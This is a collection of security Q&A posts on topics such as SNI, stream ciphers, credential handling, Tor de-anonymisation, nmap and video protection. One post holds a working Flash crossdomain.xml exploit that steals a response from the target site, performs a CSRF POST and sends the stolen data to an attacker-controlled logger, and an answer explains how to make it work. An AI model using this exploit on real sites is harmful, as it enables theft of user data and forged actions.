Why do HTTPS requests include the host name in clear text? I'm having a little bit of trouble understanding why the HTTPS protocol includes the host name in plain text. I have read that the host name and IP addresses of an HTTPS packet are not encrypted.

Why the host name cannot be encrypted? Can't we just leave the destination IP in plain text (so the packet is routable), then when the packet arrives at the destination server, the packet is decrypted and the host/index identified from the header?

Maybe the problem is that there can be different certs for one particular destination IPs (different certs for different subdomains?), so the destination server cannot decrypt the packet until it arrives at the correct host within that server. Does this make ANY sense, or am I way off?

The hostname is included in the initial SSL handshake to support servers which have multiple host names (with different certificates) on the same IP address (SNI: Server Name Indication). This is similar to the Host-header in plain HTTP requests. The name is included in the first message from the client (ClientHello), that is before any identification and key exchange is done,  so that the server can offer the correct certificate for identification.

While encrypting the hostname would be nice, the question would be which key to use for encryption. The key exchange comes only after identification of the site by certificate, because otherwise you might exchange keys with a man-in-the-middle. But identification with certificates already needs the hostname so that the server can offer the matching certificate. So the encryption of the hostname would need to be done with a key either based on some other kind of identification or in a way not safe against man-in-the-middle.

There could be ways to protect the hostname in the SSL handshake, but at the cost of additional overhead in handshake and infrastructure. There are ongoing discussion if and how to include encrypted SNI into TLS 1.3. I suggest you have a look at this presentation and the IETF TLS mailing list.

Apart from that, leakage of the hostname can also occur by other means, like the preceding DNS lookup for the name. And of course the certificate sent in the servers response is not encrypted too (same problem, no key yet) and thus one can extract the requested target from the servers response.

There are a lots of sites out there which will not work without SNI, like all of Cloudflares free SSL offer. If accessed by a client not supporting SNI (like IE8 on Windows XP) this will result in either the wrong certificate served or some SSL handshake error like 'unknown_name'.


Inconsistent behavior while attempting to exploit a misconfigured flash crossdomain.xml victim.com - URL of the misconfigured application.

https://victim.com has an overly permissive crossdomain.xml at https://victim.com/crossdomain.xml.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
  SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*.victim.com" />
</cross-domain-policy>

Attacker can control something.subdomain.victim.com

Attacker hosts an SWF file generated from the following action script.

// Adaptation of an exploit by John M as defined in
// https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
// PHP serverside is replaced with a simpler python cgi. Thanks to trustedsec

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLVariables;
 import flash.net.URLLoader;
 import flash.net.URLLoaderDataFormat;

 public class crossDomain extends Sprite {
  public function crossDomain() {

   // Fetching secret.

   var firstrequest:URLRequest = new URLRequest("https://victim.com/a?secret=test");
   var firstloader:URLLoader = new URLLoader();
   firstloader.addEventListener(Event.COMPLETE, completeHandler);
   try {
    firstloader.load(firstrequest);
   } catch (error: Error) {
    trace("Unable to load URL: " + error);
   }

   // Performing CSRF with a POST

   var secondvariables:URLVariables = new URLVariables("a=test1&b=test2&c=test3&final=nothing");
   var secondrequest:URLRequest = new URLRequest("http://victim.com/someaction.html");
   secondrequest.method = URLRequestMethod.POST;
   secondrequest.data = secondvariables;
   var secondloader:URLLoader = new URLLoader();
   secondloader.dataFormat = URLLoaderDataFormat.VARIABLES;
   try {
    secondloader.load(secondrequest);
   } catch (error: Error) {
    trace("Unable to load URL");
   }

  }

  private function completeHandler(event: Event): void {

   // Retreiving the HTTP responses to attacker server.

   var request:URLRequest = new URLRequest("http://something.subdomain.victim.com:8000/cgi-bin/postlogger.py");
   var variables:URLVariables = new URLVariables();
   variables.data = event.target.data;
   request.method = URLRequestMethod.POST;
   request.data = variables;
   var loader:URLLoader = new URLLoader();
   try {
    loader.load(request);
   } catch (error: Error) {
    trace("Unable to load URL");
   }
  }
 }
}

The exploit SWF is hosted on something like :

https://something.subdomain.victim.com:8000/crossDomain.html

Everything until GET /crossdomain.xml to https://victim.com is happening. However there is no request sent to the victim.com domain after that.

It is unlikely that this is an action script code error. Because the exact same code when I run for localhost and 127.0.0.1 for testing is working. [may be the last cgi part is not working, but that is something I am not concerned at this point.]

I observe no additional security header in the response for crossdomain.xml.

What would be the reason this exploit is not working for victim.com?

Like they always say, the devil was in the details.

The request for https://victim.com/crossdomain.xml did not respond with a crossdomain.xml immediately, instead there was a redirect to https://www.victim.com/crossdomain.xml. This disabled further requests to the domain.

Changing the target URL to
http://www.victim.com/a?secret=test
and
http://www.victim.com/someaction.html resolved the issue for me.


Expand key to size of plaintext I'm taking a cryptology course, and one thing that popped up as an idea was the following:

Can't one take a "master" key, and generate a key that is as big as the plaintext, to encrypt the plaintext and thereby having perfect secrecy?

The strength of course would depend on the size of the masterkey, but that's the case with every crypto-system.

Yes, you can use a master key to generate what is called a "keystream" the size of the plaintext, and XOR it with the plaintext to encrypt it.  This is what we call a stream cipher, and examples are RC4 and Salsa20.

No, this does not provide perfect security.  Claude Shannon demonstrated in 1949 that you cannot have information theoretic perfect secrecy without a random key the same length as the plaintext.  (As many possible keys in the keyspace as plaintexts in the message space.)   The use of a small key means that there are necessarily fewer keys than plaintexts, and expanding them to the length of the message using a pseudo-random generator does not change this.  Use the same key twice, get the same keystream twice.  Because of this, a stream cipher cannot offer the perfect secrecy of a one time pad, where the key is both truly random, and the length of the message.


How to securely ask for passwords of customer as consultancy firm? In my work as a developer, I need username/password combo's from the customer sometimes to make sure the settings on 3rd party services are correct to work with the website/application we are building. E.g. a payment provider that we use on a game website.

What would be the good way to ask for their username and password so that it stays secure? If I send them an email, for sure, they are just going to send me back a plain text email with the password, but that is not secure.

UPDATE:

I see my question got a bit misunderstood, so I will add an example:

Suppose I am a developer for CoolSoft, a software company. Another company (let us call them Games, Inc.) wants us to create a website for them. This website will use 3rd party services for payment and customer support which we need to integrate with. Games, Inc. creates accounts with the payment provider and the customer support provider. But they are totally not technical and we need to have their credentials to set the correct callback URLs, etc.. How can they safely send their password to us so we can fix the settings on their accounts (We never meet in person)?

You don't.

When you teach users to give their username and password to someone, you train them to be vulnerable to phishing or other social engineering attacks.

Instead, design the system in a way that an administrator can view and edit these settings without requiring the users credentials.

When you are in a situation where you really need to see things from the perspective of the user to troubleshoot a problem, ask the user to type in the password for you and then let them show you the problem. This can be done either in person or with a remote administration tool.

When you are in a situation where the customer has credentials you need in your application to integrate with a 3rd party solution, develop your application in a way that a non-technical user has an easy to use user interface to set these credentials. You will need that anyway in case the customer needs to change them and you are unavailable.

The user won't have to enter this until the application is deployed on their own servers. During development you should use a test account on your end to interface with the 3rd parties. You definitely don't want to cause any costs to your customer because you ran some tests on the 3rd party payment interfaces which didn't work out the way you expected.


Cookie ASPSESSIONIDSACSARTD created without httponly flag I'm just learning right now about different analysis tools and I came across something in a nikto scan last night on a VM server I own. It said something along the lines of:

  Cookie ASPSESSIONIDSACSARTD created without httponly flag.

At first I dismissed it because it's a vulnerable server so there's like a million other things to look at also. But the more I think about it though the more it bugs me.

What could be done with custom cookies? I have tried googling this but it's possibly the most ambiguous search terms ever. My guess is that you could inject commands into cookies.

Any metasploit modules that I could look at or sites for reference would be greatly appreciated.

After Question Edit:

A cookie with the HttpOnly flag cannot be read by client-side scripts like Javascript (note that the client handling the HTTP response must support the HttpOnly flag).

A page vulnerable to XSS may steal the session information in cookies and send them to an attacker.

If the HttpOnly flag is set the Javascript cannot read the cookies even if XSS is present. This prevents things like session hijacking.


Could ProtonMail find out a user's real location from inside Tor? This article claims that allowing javascript must be treated as a potential security hole on anything (inside or outside Tor). So, the best we can do is hope that ProtonMail doesn't become evil?

How exactly does this work? How can they find out our real IP address? Does this depend on finding a 0-day exploit?

And if they (ProtonMail, or really any other website) do try to snoop on us, it should be visible in the JS source code right? But JS can be obscured, so how exactly can an average user find out if a website is attempting to figure out the real IP address (inside or outside Tor)?

As mentionned by @schroeder, this is purely about Javascript, not about any specific app that involves Javascript.

One practical example of how Javascript can be used to de-cloak a tor user is by using WebRTC (see https://thehackernews.com/2015/02/webrtc-leaks-vpn-ip-address.html). Javascript is at issue because it is used to build the WebRTC connection (see https://hpbn.co/webrtc/ for a great overview of WebRTC).

Another is the use of GeoLocation APIs built into browsers, which again, are intended to be queried via Javascript (see for example https://www.w3schools.com/html/html5_geolocation.asp). That API would typically fallback to using IP based location as a last resort, but often prefers other sources (such as visible access points, GPS, etc).

There are other examples involving Flash, possibly Java, and no doubt a whole laundry list of other things.

You can (generally) profile javascript (via your browser's developper/debug mode - which you can typically access by hitting F12), and most browsers will also provide you a way of inspecting what connections are made by your browser when processing a page.

Generally, prevention is far preferrable to detection, so doing things like disallowing/restricting Javascript, disabling WebRTC globally, not, ever, under any circumstances allowing flash or java in your browser , are probably your best bet.


Is Android ( Linux ) emulating a read-only USB storage device safer than a USB drive? Well the title kinda ask all, I've been using DriveDroid on Android to emulate a read-only USB drive that I can plug in any machines to copy the files to the PC. I do use the same USB cable.

For attacks like BadUSB is that safer? I would think not, but are they common enough in the wild to worry about and would that read-only protect me against software attacks or things like cryptolocker ?

I will say that read-only/write-protected USB drives do exist.

One solution (the only I'm aware of) is from KanGuru, which offers a wide variety of USB drives which have a write protection switch. As far as I'm aware of, it uses hardware to block writes. https://www.kanguru.com/

Linux allows for mounting as a read-only drive, but that is an OS specific solution (but does work quite nicely).

Windows can mount NTFS partitions as read-only, but this isn't exactly "plug and play" as USB drive are. https://superuser.com/questions/213005/how-to-mount-an-ntfs-partition-read-only-in-windows#213015

Using Secure Digital (SD) cards is not a solution, as write protection can be ignored by software as it's just a signal, without any implementation in hardware to ignore write requests.


How to store a WS password on Android without risk or lowering the risk? I have an Android app that calls a SOAP WS.
The WS call goes over HTTPS and has credentials (user and pass)

(this is not a specific user/pass,  but the user/pass of the WS itself)

How should I store the user/pass ?

I know if I put the hardcoded password, any attacker may be able to decompile the app and get it.

This sounds like a re-architecture may be required.  As Crovers mentioned above, you will not be able to protect the username and password if they are stored locally on the device.  You will need some form of proxy in between the web service endpoint and the device.

Best Practice

Best practice would be to give each user his or her own credential for the proxy, and then the proxy itself would connect the the SOAP endpoint.  The Proxy would connect to the SOAP Service via SSL

A not recommended work-around

Depending on your security requirements, you may be able to get away with less stringent requirements.  If there are particular operations on the SOAP service that you do not want your users to be able to access, you can simply not expose them via the proxy application.  For example, if the SOAP service exposes an add, an edit, and a delete operation, and you don't want your end users to use the delete operation, your proxy application would not expose a delete operation to your users.  Please note that this solution will only work with vertical access control, and not horizontal access control. It will only prevent users from performing unauthorized actions, such as the delete example.  It will not prevent users from performing authorized actions against object which they should not be able to access (i.e.  If I can update my records, I can also update your records.)

I hope that helps.  Please go with the best practice if at all possible.


How to auto renew OpenVPN client certificates using easyRSA I have embedded devices that are located in different cites and connected to my OpenVPN server. I initialize my devices before deploying them and put the certificate/key pair through local network. When the devices go online at the remote site they are connected to my openVPN server via private tunnel. I am using OpenVPN version:2.3.10 with EasyRSA on Ubuntu 16.04 LTS

Now the certificates are about to expire. How can I renew the certificates on these devices? I am thinking of 2 approaches.

Approach 1) A script on the device checking the validity of the certificate every month or so and when the certificate is about to expire it should send a certificate generation request(a standard https get request or similar). On the server end, only requests coming from private tunnel should be served. A certificate/key with same CN should be generated and transfered to the client.

Problems with apporach 1)

How should the cert/key pair be transferred securely ? i dont want to exchange clients private key via network.
The whole process should be automated so i can also not put the key manually.
How should the cert/key generated on the server? i also dont want the apache web user i.e www-data to have access to my easyRSA folder.

Approach 2)
Generate Private key at the client end (my embedded device). Create a Certificate signing request (CSR) send it to OpenVPN server (which is also my CA). The CA generates a certificate and sends back the client certificate.

Problems with apporach 2)

How to authenticate CSR ? how can i know that the CSR is coming from my embedded device and not some attacker. The only way that i can assure is, if the CSR is coming from the private tunnel.
In case if the certificate on my embedded device expires before renewal then the private tunnel would not exist. How can i authenticate CSR in this case?. Any one with CA.crt (CAs public key) can generate a private key and send a CSR to CA.

I think approach 2 seems more reasonable and secure but i dont know the solution to the problems i am facing. I want to know if I have a correct understanding of security? or if there is something I am missing. Also if i go with approach 2, how would the implementation look like? i know the theory but i dont know how to create CSR and send it to CA.  And on CA end how to receive a CSR and generate a cert and send it back.

Since this is old, how did you solve it?

My thoughts both use a simple API to drive part of the process:

Approach 1

This can work if you have your client check the certificate, and if it's due to expire, it can ask for a new certificate. This doesn't need to be a CSR or anything, but instead a private API that can generate a new cert. You need rudimentary logic to authenticate the client before providing the new cert. Back on the client, your script can replace the certificate used to log in.

Approach 2)

This might be useful combined with an API. Setup an HTTPS API on your client, with a secret URL, where you can push new certificates. If that doesn't work, maybe have a script on your server to allow expired certificates in certain conditions.

Another Note

Don't expire your certificates and instead lean on the revocation mechanism


Storing certificate bundles (.pfx files) In an application deployed across multiple environments (e.g. Test/Prod), what's a good practice for storing the environment specific certificate bundle (.pfx file)?

Is password protecting the .pfx file and storing it with the application code e.g. cert.{Environment}.pfx an acceptable approach? The password will be retrieved from an environment variable or from a environment specific vault (e.g. Azure key vault/AWS parameter store etc.)

The good practice is to separate certificates as well as private keys from the application resources. Developers should have no control over what certificates the application can trust to and what private keys the application uses.


Are Optimization Flags Harmful? There seems to be a consensus, that

-D_FORTIFY_SOURCE=2 -O1

is a hardening measure that should be applied as compiler option. This was also a recommendation in the Dovecot Pentest Report.

What I'm confused about is, that _FORTIFY_SOURCE=2 needs an optimizer flag, despite the fact, that - at least according to this bug report - it can have security implications.

I have too little understanding to understand the gravity of -O1 on the security.

Can someone please shed some light on why -O1 is problem (preferably also how this can be mitigated) or why this is not a problem? Also if it has both sides, what would be the factors to consider?

In the bug report you linked, the developer tries to overwrite the password in memory. This changes only the memory contents and has no other side effects.

An optimizing compiler may change the code in any way it likes as long as it does not change the behavior of the program. The behavior of the program is its input and output, but not its memory contents. So if you overwrite a password in memory, the compiler is free to remove that, since removing it has no effect on the working of the program.

I think as a developer you need to accept the fact that you have no control over the memory contents, instead of fighting the compiler.


AES for key encryption Is AES a good choice for protecting a key stored on the computer of a user of my application? I have seen threads on hashing passwords that suggest using slow algorithms for defending against brute force attacks.

Also, any recommendations on what parameters I should use for RijnadealManaged, such as padding algorithm, ciphermode or key size?

You're better off using DPAPI.

While AES-256 / CBC / PKCS7 / etc is a good choice of cipher+params, that still won't solve your problem:  After you encrypt the encryption key, what do you do with the Key Encrypting Key (KEK)?  You'll still be stuck having to encrypt the encryption key...

DPAPI provides an excellent solution, allowing you to punt off the responsibility of key management onto the OS. (Sort of.)

You can use the ProtectedData class, from the System.Security.Cryptography namespace, it is very simple and straightforward - just make sure you set USER_MODE to make sure that only that user has access to decrypt the key.

Going back for a moment, depending on the application, you might be better off using DPAPI to protect the KEK (key encrypting key), and not the encryption key itself - sharing and distributing keys becomes easier, as does rekeying (if necessary).


Why are some attacks more famous than others (heartbleed, BEAST, POODLE, etc)? Eg Heartbleed, aka CVE-2014-0160, only has a CVE severity of 5.0. Yet the media went crazy about these bugs.

Is it because they have a cool name and a logo, or is the CVE severity metric somewhat flawed?

1) Cool names count.  Don't discount the value of public relations.

2) Heartbleed, BEAST, CRIME, and POODLE all impacted (or could be be reached through) web servers.  Web servers tend to be publicly available, widespread, and directly identified (in the minds of the press and non-technical public) as "THE INTERNET."  Therefore, these issues had a wider possible impact and a higher perceived importance.

3) CVE tries to dispassionately describe how badly a vulnerability can hurt, but there is such a thing as the death of a million paper cuts. A CVE 9.5 that affects something rare and protected - say, Oracle database clusters - is never going to be as famous as a CVE of 4.2 that affects Apache.

4) The CVE itself doesn't take into account how ubiquitous a software package is throughout the world.  Contrary to what I said in the comments below, there is one measure of ubiquity in the CVSS scoring; "target distribution (TD) metric measures the proportion of vulnerable systems in the environment".  But "This measure is calculated subjectively, typically by affected parties" and so I believe that's not part of the NIST CVE, that's what gets adjusted by RedHat or Oracle when they release advisories based on the CVE.  The bottom line is that CVE is not designed to determine how many people need to worry about an issue, but to determine exactly how worried those people should be if they own/use the impacted system

Take your pick of answers, there's some truth to all of them, as well as Xanders' commentary on the limitations of CVE.

It looks like FREAK is not going to cause a big splash despite having a cool name; it only impacts the subset of people who already don't care enough to make their web server secure.  I'm actually kind of glad to see the press didn't get carried away just because it was ALL CAPS...

(Edited to add #4 with quotes from Wikipedia's CVSS page, just trying to round the comment chain up into the answer)


If I run an infected DOS .COM file in DOSBox on C: directory will my main OS be damaged? I want to test some DOS viruses. If I run them from C: will my computer be damaged?

DOSBox does not isolate your main computer contents from the files run within it. Thus, it could indeed damage the host.

Probably, it will only affect the files on already-mounted drives, so if you didn't mount any folder with non-discardable contents, you may be fine.

However, a malicious program could clearly run mount drive: <folder> and access <folder> of your computer from inside DOSBox.

You should instead use full virtualization for running your DOS virus (VMWare, VirtualBox…)


using the CO2-Extension within Burp for sql injection I am using the free version of Burp Suite and the CO2-Extension for sql injection attacks.

Using the extension offers you two possible attacking ways:

Either you copy the command which is generated by clicking on the options available and paste this into the command line, or
you run the command directly from the GUI.

However there is something I haven't understood. Running the sql statements directly from the GUI is not recorded by the http proxy listener. Why?

I wrote my own extension that manipulates some positions in all outgoing requests, but in this case I cannot find any outgoing requests.

I don't know the extension you are using, but if you check, none of the default burp modules are recorded in the proxy history. If you send requests from the Repeater or the Intruder you won't see them either in the Proxy history.

I would guess this is a design decision. It also makes sense, because the history is the Proxy history, so it shows everything that has gone through the proxy. Requests sent by Burp don't go through the proxy.


Nmap does not detect Linux Mint I can't identity my Linux Mint 17 machine on my home network. I use

nmap -O -v 192.168.2.28

However, I get the following output (below). I am just learning nmap, so I don't know what all of the output means. I don't have firewall up on Mint (well, not during testing). I checked ifconfig and my router's assigned dynamic IP: they are 192.168.2.28 (it is a funky router by Bell with fancy web GUI). I have Samba running, which is (I guess) port 445. I don't yet understand what netbios is, but I am reading about it. I know that OS detection works better when more ports are open, but maybe those 2 are too generic?

I am not sure, what else I need to provide for a better question. Update: Sorry, the questions is: why can't I detect OS correctly even though this is a fairly standard install?

I am happy to submit a report to Nmap about it not being able to detect the OS, but before that I want to make sure it's not me that's the problem. Thank you!

Starting Nmap 6.00 ( http://nmap.org ) at 2015-08-19 19:47 EDT
Initiating ARP Ping Scan at 19:47
Scanning 192.168.2.28 [1 port]
Completed ARP Ping Scan at 19:47, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:47
Completed Parallel DNS resolution of 1 host. at 19:47, 0.01s elapsed
Initiating SYN Stealth Scan at 19:47
Scanning 192.168.2.28 [1000 ports]
Discovered open port 139/tcp on 192.168.2.28
Discovered open port 445/tcp on 192.168.2.28
Completed SYN Stealth Scan at 19:47, 0.60s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.2.28
Retrying OS detection (try #2) against 192.168.2.28
Retrying OS detection (try #3) against 192.168.2.28
Retrying OS detection (try #4) against 192.168.2.28
Retrying OS detection (try #5) against 192.168.2.28
Nmap scan report for 192.168.2.28
Host is up (0.011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 94:39:E5:BF:0D:3B (Hon Hai Precision Ind. Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.00%E=4%D=8/19%OT=139%CT=1%CU=34600%PV=Y%DS=1%DC=D%G=Y%M=9439E5%
OS:TM=55D515A5%P=armv7l-unknown-linux-gnueabi)SEQ(SP=107%GCD=1%ISR=103%TI=Z
OS:%CI=I%II=I%TS=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B
OS:4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%
OS:W5=7120%W6=7120)ECN(R=Y%DF=Y%T=41%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=41%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=41%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=41%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=41%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=41%CD=S)

Uptime guess: 1.485 days (since Tue Aug 18 08:09:06 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.14 seconds
           Raw packets sent: 1111 (52.918KB) | Rcvd: 1078 (46.650KB)

As Morgoroth pointed out, nmap.org/submit is your friend in this case.
However, you can also try

Using the --osscan-guess flag to more aggressively guess the OS (lower confidence interval)
Try a different type of scan (null, ack) using the -sN and -sA flags
Sometimes using the -A flag will give you something under "service info" that you can use to imply the OS.


why use L2TP/IPsec insted of just IPsec Why someone would use L2TP with IPsec ? I mean I understand, that we would use it along with IPsec because  L2TP does not provide confidentiality or strong authentication by itself but why not just use IPsec itself??

The answer provided in the linked comment isn't very thorough, so here's a better explanation.

IPsec is used by itself (sometimes referred to as bare IPsec) all the time; it is commonly used to create a secure transport link between two machines, or to create a tunnel between to different networks / POPs; the former is used (as mentioned) between two machines, while the latter is used to connect disparate networks together, especially when the networks are in RFC1918 space. However IPsec is a very flexible standard (especially v1 over v2), and doesn't establish much in the way of rigid requirements for getting the two endpoints talking to each other. In the situations above, this isn't much of a problem; you simply define all the parameters between the endpoints manually (encryption algorithms, hashing methods, network declarations, as well as upper level routing protocols).

That's all fine and good, but what happens when you want to use IPsec in a road warrior scenario? Let's say you have an employee who wants to connect to the internal network but is traveling, and you want to use IPsec. Do you have him manually configure those things all the time? Is he/she even capable of identifying what network he's on if he's using something like a public wifi gateway? Do you expect him to set up addressing and routing protocols every time he connects?

Of course not. That's what the IPsec + L2TP standard is for. This builds on bare L2TP (also a pretty barebones defined protocol) and automates all of that: it establishes hashing and encryption standards as well as defines a way to leverage PPP over L2TP to do the actual network and routing bootstrapping so that all a person has to do is enter their credentials and hit "connect" (you did know PPP was involved, right?).  Think of IPsec + L2TP as something comparable to PPTP, except it's not considered insecure.

A little more in depth to visualize better: think of the end user being a person dialing into an old ISP. L2TP is the phone line / layer 1 / physical connection, as it allows layer 2 protocols to operate on it. When you dial the modem (connect to the endpoint), PPP is the protocol that runs on that link to authenticate you, get you an IP address, as well as routing and DNS resolving information. You're now online. IPsec + L2TP is exactly the same, except instead of a phone line, you're creating a virtual circuit across the internet (L2TP), and to keep it secure, you're encrypting that circuit with IPsec. This encrypting part happens first, before the L2TP connection is made, but everything from that point on is exactly the dialup analogy.

To go even more in depth: why use L2TP just to get PPP? Why not just run ethernet frames instead of PPP on top of IPsec to use traditional things like DHCP / OSPF? Actually you can: bare IPsec is designed to offer full layer 3 connectivity except for multicast / broadcast; so in the case of DHCP and OSPF, you'd probably swap out L2TP for GRE. Why isn't GRE used for mobile users? Because it doesn't offer authentication, while the IPsec + L2TP standard does (don't ask why we picked L2TP over GRE for the standard). PPP fits better for that scenario, although GRE over IPsec is used in other situations. And if you don't need ethernet framing at all – just doing things like standard applications (web browsing, etc) or utilizing BGP – you don't need any layer on top of bare IPsec.

So in short, you usually use bare IPsec when you have static configurations between two endpoints. You use IPsec + L2TP for dynamic (mobile) end users who have little control over their environment.


How would I know if my Apple Mac has a virus, and what can I do if I have? I have used PCs for most of my life, and I am very aware of the fact that they can catch a variety of viruses.  I have owned a MAC now for two years, and have enjoyed a pleasant (perhaps too pleasant) experience with it online.  Lately, I have been hearing that MACs can become infected with viruses, which makes me wonder if I may have gained one.  How would I know if I am infected?

I am assuming that the variety of viruses that you can get on a mac is far smaller than PC and that very specific activities and vulnerabilities fall within virus territory.  Which of the following PC virus activities are currently seen in MACs:

Infection via USB flash drive insertion
Infection via auto-load CD/DVD
Infection via file copy (any source)
Infection via general browsing
Infection via image viewing (web / email)
Infection via email attachment opening
Infection vial web page viewing
Infection via network connectivity.

Yes, Macs can be infected by malware, too - just like basically any other computer system. They have been explicitly targeted by malware creators in the more recent years, which coincides with their gain in popularity.

The question on what options there are for cleaning such a system can get philosophical. Personally I would recommend you to reinstall the operating system completely from scratch. While even this isn't a guarantee for a clean system, everything short of that is just messing around and hoping.

I'm not familiar with Mac OS X at all, but there are definitely anti virus products, just like for Windows itself. Personally I'm not convinced that you actually need something like this, but it always comes down to how good you behave yourself.


Is it possible to create secure streaming server Right now I am thinking for a way to create a secure video streaming server with the following assumption:

people can be trusted not to distribute the video they have rights to see.

(I think in the first edit of my question I was not able to articulate my thoughts. The thing that people are trusted is not a requirement, but an assumption. And I think that in some cases it is valid. For example: you do not trust people with your credential card and do not want them to know your secret, but you might trust your wife with it). The same way there might be a group of people inside one organization that would like to have some shared videos and they trust each other (they might be wrong, but right now they trust).

and requirements:

people have to login with their credentials to see videos
different people should have rights to see different videos
it should be able to use CDN caching (videos can be pretty big)
video should be viewed on different platforms and devices.

The part with login credentials to see videos does not look so hard, the problem arise when you have to stream video to a user. Without somehow encrypting the video there is a potential to MITM attack (and also the chunks can be stored CDN and then freely viewed).

In the beginning I thought that this is also not a problem and the only thing that is needed is to serve the video over https. But then I realized that in such a way it is not possible to utilize CDN caching (although browser caching will still be possible).

Another approach I thought of is to create a private key for each video and to encode the video with this key. If the should have rights to view it he would receive a key to decrypt the video (thus all the users who have rights to view a particular video would have to access the same encrypted video and therefore it can be cached on CDN with no risk). The problem here is that decryption should be performed on the client and the way I can see it is through flash (which not every device support).

I assume that players like google and netflix has already done something like this but was not able to find how they have achieved it. So is it possible to build the system that satisfies the above mentioned criteria and if so - what is the approach?

Updated using your assumption that you will trust your users:

Of your 4 criteria, 2 are easy:

people have to login with their credentials to see videos
different people should have rights to see different videos

You just encrypt and provide them with the decryption key. If you have a lot of users, key management could be annoying, but this is still an easy problem to solve.

The final two are also relatively straightforward:

it should be able to use CDN caching (videos can be pretty big)

So just encrypt chunks and use a streaming mechanism to stream chunks to the user population.

video should be viewed on different platforms and devices.

So write your decrypt method in a cross platform language.

All these are standard, solved problems.

Or alternatively, just stream everything over https - and just require that the users log in. After your update, this is going to be your simplest solution - authenticate users; provide them with access to the content they are allowed; deliver it using https: problem solved.


customizable (open-source) wifi hotspot software? I wanted to know, which softwares are being used to setup customizable WiFi hostpot, on laptop.

I've heard OpenWRT - but think it's for router.  I need for Latpop, which will allow me to change the source code of Hotspot easily - i.e. to configure it to allow several different passwords, catch incorrect login attempts (incorrect handshake data) or even allow incorrect handshake data to access the Hostpot.

p.s. I use Windows, however, any OS solution is welcome. Most of programs just use OS API to enable/disable hostpot and set Password.  However, they dont touch the SYS-LOGIC itself... So, I want to change the logic of Hostpot, you may understand what i mean.

One would not go wrong with CoovaChilli. CoovaChilli is an open-source software access controller, based on the popular, but now defunct, ChilliSpot project. CoovaChilli works on Linux operating system and probably other *NIX systems too. I have not tested other operating systems.

CoovaChilli allows you to flexible authentication using Radius server, allowing you to customize authentication and fallback mechanisms. As you are planning to run on a laptop, you can comfortably use FreeRadius as Radius server.

CoovaChilli can be easily integrated with third party user management solution.

Checkout http://coova.github.io/CoovaChilli/

Also checkout, http://coova.github.io/CoovaChilli/chilli_query(1).html explaining you how one can integrate the CoovaChilli with your software.

Disclaimer: I am not promoting the CoovaChilli with any commercial motive. I have no commercial relationship with developers of CoovaChilli


Cannot capture frames other than broadcast or multicast in Wireshark My problem is that I cannot capture any frames other than broadcast or multicast over Wireshark on my WLAN interface (eg. no ICMP packets, no HTTP packets, etc.)

Please follow details below:

OS: Linux KALI 2016.1 Rolling Release 64bit (u#1 SMP Debian 4.3.3-5kali4)
NIC: Linksys WUSB600Nv2 Dual-Band (RaLink RT3572 - Driver: rt2800usb - mac80211: capable - Assigned as WLAN0)
WLAN0 put to monitor mode (using airmon-ng start wlan0) therefore listening on wlan0mon Channel 01 on Wireshark
Test AP: Linksys E3000 on Channel 01 - Open security no encryption
Second Client: Win7 Laptop pinging the AP (ICMPv4) & Surfing web
Wireshark version 2.0.3

However I cannot capture any UNICAST frames. Please tell me what I am missing,

So that everyone knows the problem was with the Kernel, there's a new issue with kernels below v4.4.0 with RT chipset (on KALI).

Upgrading the kernel solved the issue.


Displaying a video through the web whilst hiding the location I felt this fit more here than SO, if not, please vote to migrate.

We've been approached by a company who would like to use our platform to host their videos. The issue is that right now, we use the HTML5 <video> tag meaning anyone who is capable of opening the source of a page can see the actual location of the video.

They're not comfortable (and rightfully so) with allowing their content to be downloaded by anyone viewing the page. While I realize that keeping it 100% secure is impossible, what steps can I take to make the content harder to get at?

We host the videos from Amazon S3, meaning we already have access to access tokens. My first thought was to set a reasonably low expiration time on the content so any attempts to access the file at a later date would fail.

I know Brightcove handle this sort of security through flash, if it comes to using flash and rtmp, which paths would I need to take?

Technologies already used:

Amazon S3
PHP
Apache
HTML5 Video

This is impossible.  You could use a streaming server to send it over RTMP or even put some DRM on it to make it harder to play outside of a secured player, but the stream can always be ripped if it goes to a client's computer and DRM is just a small hurdle to be overcome by a determined attacker.

You seem to be aware that it is impossible though, so the recommendations still hold.  Using RTMP (or similar) would make it so that someone would have to use a stream ripper rather than a simple progressive download.  DRM on top of that would put a further barrier, however both of these impose on the client side options as well.


Is there a viable open source antivirus for OS/X? I am interested in finding an antivirus program for the Mac, but not one from Symantec, because I don't trust them.

I wonder if perhaps there is an open source solution for antivirus for OS/X?

Or how about just an open source program that can monitor the system looking for suspicious behavior, like outgoing connections to servers in Romania or China?

This is really two questions and aren't really handled well by a single program.

